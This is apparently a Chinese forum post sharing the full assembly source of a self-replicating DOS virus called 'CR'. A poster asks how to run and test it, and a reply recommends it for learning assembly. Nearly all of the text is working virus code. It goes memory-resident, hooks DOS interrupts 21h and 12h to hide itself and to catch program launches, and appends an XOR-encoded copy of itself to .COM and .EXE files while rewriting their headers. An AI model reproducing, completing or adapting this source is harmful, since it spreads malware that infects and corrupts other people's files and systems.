crdos病毒.txt

一个网上的病毒

以下是网上找到的一个汇编病毒源代码，我想问 
这个病毒要在什么操作系统下才有作用? 

编译的过程中发生的警告应该对病毒的功能没影响吧. 

要构建怎样的环境才能测试到病毒的效果? 

最好有好心的大虾加点详细的注释去，让小的好好学习一番。 


这个病毒虽然比较简单。但是麻雀虽小，五脏俱全。隐藏，感染，加密等模块应有尽有（只是不会破坏），是一个比较标准的DOS病毒，可以感染.EXE（不包括PE）和.COM的可执行文件。 
如果您希望学习汇编语言，用这个程序作为入门指导倒是比较合适的。 
染毒文件会被打上“CR”的标记，我们姑且称它为CR病毒吧。 
baseoff equ 107h 

code    segment 
    assume cs:code,ds:code,es:code,ss:code 
    org 100h 
main:     
    mov ax,offset begin 
    jmp ax 
     
    db 'cr' 
         
begin:     
    push es 
    push ds 
     
    mov ax,cs 
    mov ds,ax 
    mov es,ax 
     
    call get_ip     
    push ax 
    mov ax,offset encodebegin 
    jmp short get_ip_end 
     
oldhead    db 0h,4ch,0cdh,21h,6 dup (?) 

get_ip    label near 
    mov bp,sp 
    mov bx,[bp] 
    ret 
get_ip_end: 
    sub bx,112h        ;get current offset 
    add ax,bx 
    push ax 
    pop di 
    mov si,di 
    cld 
    mov cx, offset endtag-offset encodebegin 
    mov dl, byte ptr [oldhead+bx] 
    push si 
decode:     
    lodsb 
    xor al,dl 
    stosb            ;decode at runtime 
    loop decode 
    retf            ;retf  cs:ip=encodebegin 
    db 62h 
    db 65h 

encodebegin: 
    mov ax,9f80h 
    mov es,ax 
    cmp es:word ptr [virustag-baseoff],7263h 
    jz alreadyresident         
     
    push ds     
    mov ax,40h 
    mov ds,ax 
    mov di,13h    ;get free memory 
    sub word ptr [di],2 
    pop ds 

    mov di,0 
    mov si,bx 
    add si,baseoff 
    mov cx,2048 
    cld 

    rep movsb    ;resident in memory 
     
    nop 
    push bx 
     
    mov ax,9f80h 
    mov ds,ax 
    mov ax,3521h 
    int 21h 
    mov ds:word ptr[oldint21-baseoff],bx 
    mov dx,bx 
    mov ds:word ptr[oldint21-baseoff+2h],es 
     
    mov dx,offset newint21proc-baseoff 
    mov ax,2521h 
    int 21h 

    mov dx,offset newint12proc-baseoff 
    mov ax,2512h 
    int 21h 
    pop bx 
     
alreadyresident: 
    mov ax,cs 
    mov ds,ax 
    mov es,ax 
    mov si,offset oldhead 
    add si,bx 
    mov di,0100h 
     
    cmp cs:word ptr oldhead[bx],6163h    ;this is an infected EXE file 
    jz GotoExe 
     
    cld 
    mov cx,7 
    rep movsb 
     
    pop ds 
    pop es 
     
    cmp cs:word ptr oldhead[bx],4c00h 
    jz go_out 
GotoOldHead:                    ;this is an infected COM file 
    mov ax,0100h 
    jmp ax 
GotoExe: 
    pop ds 
    pop es 
    mov ax,ds 
    add ax,cs:ini_ss[bx]            ;set old ss 
    add ax,10h 
    mov ss,ax 
    mov ax,cs:ini_sp[bx]            ;set old sp 
    mov sp,ax 
    mov ax,ds 
    add ax,10h 
    add cs:ini_cs[bx],ax            ;set old cs 
    jmp cs:dword ptr ini_ip[bx]        ;jump to the normal EXE 
go_out: 
    mov ah,4ch 
    int 21h 
     
oldint21 dw 2 dup(?) 
filehead db 18h dup (?) 
filesize dw 2 dup(?) 
virustag db 'cr' 
infecthead:     
    mov ax,offset begin 
    jmp ax 
    db 'cr' 
temp    dw ? 

ini_ip    dw ? 
ini_cs    dw ? 
ini_ss    dw ? 
ini_sp    dw ? 

newint21proc: 
    cmp ah,4bh 
    jz tryinfect 
    jmp int21h 
tryinfect: 
    push ax            ;begin to infect 
    push cx 
    push es 
    push di 
    push bx 
    push dx 
    push ds 

    mov ax,3d02h 
    int 21h 
    jnc openok 
    jmp notinfect        ;open fail? not infect 
openok:     
    push ds 
    push dx 
    push cs 
    pop ds 
    mov dx,offset filehead-baseoff 
    mov bx,ax 
    mov cx,18h 
    mov ah,3fh 
    int 21h     
    pop dx 
    pop ds 
    jc closefilenear        ;read fail? not infect 
     
    mov di,offset filehead-baseoff 
    mov ax,9f80h 
    mov es,ax 
     
    cmp word ptr es:[di],5a4dh    ;'MZ' in head? EXE file... 
    jnz COM_infect 
    jmp EXE_infect 
     
COM_infect:     
    cmp word ptr es:[di+5],7263h    ;'cr' in 105h? not infect 
    jz closefilenear   

    call getfilesize 
    cmp dx,0 
    jnz closefilenear            ; file is too big..not infect 
    cmp ax,63000 
    ja  closefilenear            ; file is too big..not infect 
    cmp ax,10 
    jb  closefilenear            ; file is too small..not infect 
     
    ;infect begin,hahahahaha.... 
    jmp infectbegin 
closefilenear: 
    jmp closefile 
infectbegin:     
    mov ax,9f80h 
    mov ds,ax 
    mov es,ax 
    mov si,offset filehead-baseoff 
    mov di,offset oldhead-baseoff 
    mov cx,10 
    cld 
    rep movsb            ;save the old file head 
     
    call addvirustofile 
    call mov_ptr_to_head 


    mov di,offset infecthead-baseoff 
    mov dx,di 
    inc di 
    mov cx,word ptr [filesize-baseoff] 
    add cx,100h 
    mov word ptr [di],cx 
    mov cx,7 
    mov ah,40h 
    int 21h 
     
     
closefile: 
    mov ah,3eh 
    int 21h                ; close the file 
     
notinfect: 
    pop ds 
    pop dx 
    pop bx 
    pop di 
    pop es 
    pop cx 
    pop ax 
int21h:    jmp dword ptr cs:[oldint21-baseoff] 
     
getfilesize proc near 
    mov ax,4202h 
    xor cx,cx 
    xor dx,dx 
    int 21h 
    jc  closefile 
    mov es:word ptr [filesize-baseoff],ax 
    mov es:word ptr [filesize-baseoff+2],dx        ;save the file size 
    ret 
getfilesize endp 

addvirustofile proc near 
    xor dx,dx 
    mov ah,40h 
    mov cx,offset encodebegin-offset begin 
    int 21h 
    jc closefile            ;write fail... not infect 
    cmp ax,cx 
    jb closefile            ;write fail... not infect 
     
    mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2 
    mov dl,byte ptr oldhead-baseoff 
    mov dh,dl 
    mov di,dx 
    mov si,offset encodebegin-baseoff 
    mov dx,offset temp-baseoff 
encode_myself: 
    push cx 
    lodsw 
    xor ax,di            ;encode and then write into file 
    mov temp-baseoff,ax 
    mov ah,40h 
    mov cx,2 
    int 21h 
    jc closefile            ;write fail... not infect 
    cmp ax,cx 
    jb closefile            ;write fail... not infect 
    pop cx 
    loop encode_myself 
    ret 
addvirustofile endp     

mov_ptr_to_head proc near 
    mov ax,4200h 
    xor cx,cx 
    xor dx,dx 
    int 21h 
    jc closefile     
    ret 
mov_ptr_to_head endp 


EXE_infect proc near 

    mov ax,es:word ptr[di+2]        ;exe size in the last sector 
    mov dx,es:word ptr[di+4]        ;total sectors of exe size 
    push di 
    dec dx 
    mov cx,9 
    xor si,si 
get_size_in_head: 
    shl dx,1 
    shl si,1 
    adc si,0 
    loop get_size_in_head 
    add dx,ax 
    adc si,0 
    mov di,dx 
     
    call getfilesize            ;get the exe file size 
    cmp dx,si 
    jnz exe_end_near            ;not equal(file size and loading size) 
    cmp dx,0fh                ;not infect 
    ja  exe_end_near 
    cmp ax,di 
    pop di 
    jnz exe_end_near 
     
    jmp begininfectexe 
exe_end_near: 
    jmp exe_end 
     
    ;begin to infect exe 
begininfectexe:     
    mov ax,writesize+10 
    mov cl,9 
     
    add ax,es:word ptr[di+2]        ;add exe loading size 
    mov si,ax 
    and ax,1ffh 
    mov es:word ptr[di+2],ax 
    shr si,cl 
    add es:word ptr[di+4],si 

    push es 
    pop ds 

    mov word ptr[oldhead-baseoff],6163h    ;write EXE's tag 
    mov ax,[di+14h] 
    mov [ini_ip-baseoff],ax 
    mov ax,[di+16h] 
    mov [ini_cs-baseoff],ax 
    mov ax,[di+10h] 
    mov [ini_sp-baseoff],ax 
    mov ax,[di+0eh] 
    mov [ini_ss-baseoff],ax            ;save the old ss,sp,cs,ip 
         
    push di 
    call addvirustofile 
    pop di 
    call mov_ptr_to_head 

    mov ax,filesize-baseoff 
    mov dx,[di+08h] 
    mov cl,4 
    shl dx,cl                ;dx=exe header size 
    sub ax,dx 
    push ax 
    and ax,0fh 
    mov [di+14h],ax                ;modify sp,ip 
    mov [di+10h],writesize+50 
    add word ptr [di+0ah],writesize/16+1    ;add the memory needed 
    pop ax 
    mov dx,filesize+2-baseoff 
    mov cl,4 
modify_cs: 
    shr dx,1 
    rcr ax,1 
    loop modify_cs 
    mov [di+16h],ax                 
    mov [di+0eh],ax                ;modify cs and ss 
     
    mov dx,di 
    mov cx,18h 
    mov ah,40h 
    int 21h 

exe_end: 
    jmp closefile 
EXE_infect endp 
     
newint12proc: 
    mov ax,640 
    iret 
writesize    equ $-begin 
endtag: 
code    ends 
    end main